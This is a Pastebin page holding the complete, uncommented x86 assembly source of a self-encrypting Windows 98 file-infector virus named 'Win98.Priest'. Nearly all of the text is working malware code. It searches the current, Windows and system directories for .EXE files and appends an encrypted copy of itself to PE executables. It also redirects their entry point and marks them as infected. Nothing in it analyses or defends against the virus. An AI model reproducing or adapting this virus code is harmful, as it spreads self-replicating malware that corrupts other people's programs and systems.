Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ; Win98.Priest
- .386
- .model flat
- extrn ExitProcess:PROC
- KER32 equ 0bff70000h
- Limit equ 0000h
- addname equ 0004h
- addfun equ 0008h
- addord equ 000Ch
- create equ 0010h
- close equ 0014h
- rfile equ 0018h
- ffind equ 001ch
- nfind equ 0020h
- white equ 0024h
- fpoin equ 0028h
- getw equ 002ch
- gets equ 0030h
- getc equ 0034h
- srchc equ 0038h
- getp equ 003ch
- shand equ 0040h
- fhand equ 0044h
- reads equ 0048h
- OLDEDI equ 004ch
- chkif equ 0050h
- chkdi equ 0054h
- WICHI equ 0058h
- exew equ 005ch
- DATAA equ 0200h
- heads equ 0300h
- .code
- Start_Virus:
- Call Delta_Offset
- Delta_Offset:
- Pop Ebp
- Sub Ebp,Offset Delta_Offset
- pushad
- KEY_CODE:
- mov EAX,00h
- LEA eSI,[VIRUS_BODY+EBP]
- mov ecx,End_Virus - VIRUS_BODY -4
- KEYCODE:
- XOR DWORD ptr [esi],eax
- add esi,1
- xchg al,ah
- ror eax,1
- loop KEYCODE
- VIRUS_BODY:
- popad
- push eax
- mov eax,[OLDIP+ebp]
- add eax,400000h
- push eax
- call Scan_DATA
- mov EDI,ESI
- add ESI,6
- cmp word ptr [esi],0
- je R_IP
- xor ecx,ecx
- mov cx,[esi]
- add ESI,0f2h
- add ESI,24h
- add edi,0f8h
- CHk_se:
- mov eax,[esi]
- and eax,0c0000000h
- cmp eax,0c0000000h
- jne Next_Se
- mov eax,[edi+8h]
- mov ebx,511
- add eax,ebx
- xor edx,edx
- inc ebx
- div ebx
- mul ebx
- sub eax,[edi+10h]
- cmp eax,700h+(W_ENC_END - W_ENC)
- jge OK_SE
- Next_Se:
- add esi,28h
- add edi,28h
- loop CHk_se
- JMP R_IP
- OK_SE:
- mov esi,[edi+0ch]
- add esi,[edi+10h]
- add esi,400000h
- mov ebp,ESI
- xor eax,eax
- mov esi,KER32+3ch
- lodsw
- add eax,KER32
- cmp dword ptr [eax],00004550h
- jne R_IP
- mov esi,[eax+78h]
- add esi,24
- add esi,KER32
- lodsd
- add eax,KER32
- mov [ebp+Limit],eax
- lodsd
- add eax,KER32
- mov [ebp+addfun],eax
- lodsd
- add eax,KER32
- mov [ebp+addname],eax
- lodsd
- add eax,KER32
- mov [ebp+addord],eax
- pop eax
- pop ebx
- push ebx
- push eax
- mov esi,ebx
- add esi,offset gp - Start_Virus
- mov ebx,esi
- mov edi,[ebp+addname]
- mov edi,[edi]
- add edi,KER32
- xor ecx,ecx
- call FIND_SRC
- shl ecx,1
- mov esi,[ebp+addord]
- add esi,ecx
- xor eax,eax
- mov ax,word ptr [esi]
- shl eax,2
- mov esi,[ebp+addfun]
- add esi,eax
- mov edi,[esi]
- add edi,KER32
- mov [getp+ebp],edi
- mov ebx,create
- pop eax
- pop edi
- push edi
- push eax
- add edi,offset cf - Start_Virus
- FIND_FUN:
- push edi
- push KER32
- call [getp+ebp]
- mov [ebx+ebp],eax
- add ebx,4
- cmp ebx,getp
- je OK_FIND_FILE
- mov al,0
- repne scasb
- jmp FIND_FUN
- OK_FIND_FILE:
- lea eax,[ebp+exew]
- push eax
- push 100h - 58h
- call [getc+ebp]
- or eax,eax
- je CHG_DIR
- OK_EXE:
- lea esi,[ebp+DATAA]
- push esi
- lea edi,[ebp+exew]
- push edi
- scan_dir:
- cmp byte ptr [edi],00h
- je ok_make_exe
- add edi,1
- jmp scan_dir
- ok_make_exe:
- mov al,''
- stosb
- mov dword ptr [ebp+WICHI],edi
- mov ax,'.*'
- stosw
- mov eax,'EXE'
- stosd
- call [ebp+ffind]
- mov [ebp+shand],eax
- cmp eax,-1
- je R_IP
- mov eax,0
- open_file:
- cmp byte ptr [ebp+DATAA+2ch+eax],'v'
- je NEXT_FILE
- cmp byte ptr [ebp+DATAA+2ch+eax],'n'
- je NEXT_FILE
- cmp byte ptr [ebp+DATAA+2ch+eax],'V'
- je NEXT_FILE
- cmp byte ptr [ebp+DATAA+2ch+eax],'N'
- je NEXT_FILE
- cmp byte ptr [ebp+DATAA+2ch+eax],0
- je open_file_start
- add eax,1
- jmp open_file
- open_file_start:
- mov edi,dword ptr [ebp+WICHI]
- mov ecx,20
- lea esi,[ebp+DATAA+2ch]
- repz movsb
- push 0
- push 0
- push 3
- push 0
- push 0
- push 0c0000000h
- lea eax,[ebp+exew]
- push eax
- call [ebp+create]
- mov [ebp+fhand],eax
- cmp eax,-1
- je File_Close
- mov ecx,400h
- lea edx,[ebp+heads]
- lea eax,[ebp+reads]
- push 0
- push eax
- push ecx
- push edx
- push dword ptr [ebp+fhand]
- call [ebp+rfile]
- cmp eax,0
- je File_Close
- cmp word ptr [ebp+heads],'ZM'
- jne File_Close
- xor eax,eax
- lea esi,[ebp+heads+3ch]
- lodsw
- add eax,ebp
- add eax,heads
- mov esi,eax
- lea ebx,[ebp+heads+400h]
- cmp eax,ebx
- jg File_Close
- cmp word ptr [eax],'EP'
- jne File_Close
- cmp dword ptr [eax+34h],400000h
- jne File_Close
- cmp word ptr [ebp+heads+12h],'^^'
- je File_Close
- cmp word ptr [esi+6],6
- jg File_Close
- xor ecx,ecx
- mov edi,esi
- mov cx,word ptr [esi+6]
- add edi,0f8h
- CHK_DATA:
- add edi,24h
- mov eax,dword ptr [edi]
- and eax,0c0000000h
- cmp eax,0c0000000h
- je OK_INFECT
- add edi,4h
- loop CHK_DATA
- jmp File_Close
- OK_INFECT:
- mov eax,[ebp+DATAA+20h]
- call F_SEEK
- mov edi,[esi+28h]
- pop ebx
- pop eax
- push eax
- push ebx
- add eax,offset OLDIP - Start_Virus
- mov dword ptr [eax],edi
- mov eax,offset End_Virus - Start_Virus
- mov ecx,[esi+3ch]
- add eax,ecx
- xor edx,edx
- div ecx
- mul ecx
- add dword ptr [esi+50h],eax
- mov ecx,eax
- pop eax
- pop ebx
- mov edx,ebx
- push ebx
- push eax
- push ecx
- push ecx
- mov ecx,End_Virus - Start_Virus
- pushad
- push edx
- add edx,offset W_ENC - Start_Virus
- mov esi,edx
- lea ebp,[ebp+heads]
- add ebp,400h
- mov edi,ebp
- push edi
- mov cx,offset W_ENC_END - W_ENC
- repz movsb
- pop edi
- jmp edi
- r_body:
- popad
- pop ecx
- sub ecx,offset End_Virus - Start_Virus
- mov edx,400000h
- call fwrite
- mov eax,[ebp+DATAA+20h]
- mov ecx,[esi+3ch]
- mov edx,0
- div ecx
- push edx
- push eax
- mov edi,esi
- mov ax,word ptr [esi+6]
- sub eax,1
- mov ecx,28h
- mul ecx
- add eax,0f8h
- add edi,eax
- xor edx,edx
- mov eax,[edi+14h]
- mov ecx,[esi+3ch]
- div ecx
- pop edx
- sub edx,eax
- push edx
- mov eax,[edi+10h]
- sub eax,1
- add eax,ecx
- xor edx,edx
- div ecx
- mov ebx,eax
- pop eax
- sub eax,ebx
- mul ecx
- pop edx
- add eax,edx
- add dword ptr [esi+50h],eax
- mov ebx,[edi+0ch]
- add ebx,[edi+10h]
- add ebx,eax
- mov [esi+28h],ebx
- pop ebx
- add ebx,eax
- add [edi+8h],ebx
- add [edi+10h],ebx
- mov [edi+24h],0c0000040h
- mov word ptr [ebp+heads+12h],'^^'
- mov eax,0
- call F_SEEK
- lea edx,[ebp+heads]
- mov ecx,400h
- call fwrite
- inc dword ptr chkif[ebp]
- File_Close:
- push dword ptr [ebp+fhand]
- call [ebp+close]
- cmp dword ptr chkif[ebp],6
- je CHG_DIR
- NEXT_FILE:
- lea eax,[ebp+DATAA]
- push eax
- push dword ptr [ebp+shand]
- call [ebp+nfind]
- cmp eax,0
- je CHG_DIR
- jmp open_file
- CHG_DIR:
- push dword ptr [shand+ebp]
- call [ebp+srchc]
- cmp dword ptr chkif[ebp],6
- je R_IP
- cmp dword ptr chkdi[ebp],1
- jg CHG_DIR_2
- add dword ptr chkdi[ebp],2
- push 100h-58h
- lea eax,[ebp+exew]
- push eax
- call [ebp+getw]
- or eax,eax
- je CHG_DIR_2
- jmp OK_EXE
- CHG_DIR_2:
- cmp dword ptr chkdi[ebp],2
- jg R_IP
- add dword ptr chkdi[ebp],1
- push 100h-58h
- lea eax,[ebp+exew]
- push eax
- call [ebp+gets]
- or eax,eax
- je R_IP
- jmp OK_EXE
- Scan_DATA:
- mov esi,400000h
- mov cx,600h
- Scan_PE:
- cmp dword ptr [esi],00004550h
- je R_CO
- inc esi
- loop Scan_PE
- R_IP:
- pop eax
- pop ebx
- jmp eax
- R_CO:
- ret
- FIND_SRC:
- mov esi,ebx
- X_M:
- cmpsb
- jne FIND_SRC_2
- cmp byte ptr [edi],0
- je R_CO
- jmp X_M
- FIND_SRC_2:
- inc cx
- cmp cx,[ebp+Limit]
- jge NOT_SRC
- add dword ptr [ebp+addname],4
- mov edi,[ebp+addname]
- mov edi,[edi]
- add edi,KER32
- jmp FIND_SRC
- NOT_SRC:
- pop esi
- jmp R_IP
- F_SEEK:
- push 0
- push 0
- push eax
- push dword ptr [ebp+fhand]
- call [ebp+fpoin]
- ret
- W_ENC:
- in al,40h
- xchg al,ah
- in al,40h
- add eax,edi
- add edi,offset ENCRY_E - W_ENC +1
- mov dword ptr [edi],eax
- pop edx
- add edx,offset KEY_CODE - Start_Virus +1
- mov dword ptr [edx],eax
- popad
- pushad
- mov esi,edx
- add esi,offset VIRUS_BODY - Start_Virus
- mov ecx,offset End_Virus - VIRUS_BODY -4
- call ENCRY_E
- popad
- pushad
- call fwrite
- popad
- pushad
- mov esi,edx
- add esi,offset VIRUS_BODY - Start_Virus
- mov ecx,offset End_Virus - VIRUS_BODY -4
- call ENCRY_E
- popad
- pushad
- add edx,offset r_body - Start_Virus
- jmp edx
- ENCRY_E:
- mov eax,00h
- ENCRY:
- xor dword ptr [esi],eax
- xchg al,ah
- ror eax,1
- inc esi
- loop ENCRY
- ret
- fwrite:
- push 0
- lea eax,[ebp+reads]
- push eax
- push ecx
- push edx
- push dword ptr [ebp+fhand]
- call [ebp+white]
- ret
- W_ENC_END:
- cf db 'CreateFileA',0
- cl db '_lclose',0
- rf db 'ReadFile',0
- ff db 'FindFirstFileA',0
- fn db 'FindNextFileA',0
- wf db 'WriteFile',0
- sf db 'SetFilePointer',0
- gw db 'GetWindowsDirectoryA',0
- gs db 'GetSystemDirectoryA',0
- gc db 'GetCurrentDirectoryA',0
- fc db 'FindClose',0
- gp db 'GetProcAddress',0
- vn db 'Win98.Priest'
- db 'SVS/COREA/MOV'
- OLDIP dd F_END - 400000h
- End_Virus:
- F_END:
- push 0
- call ExitProcess
- end Start_Virus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement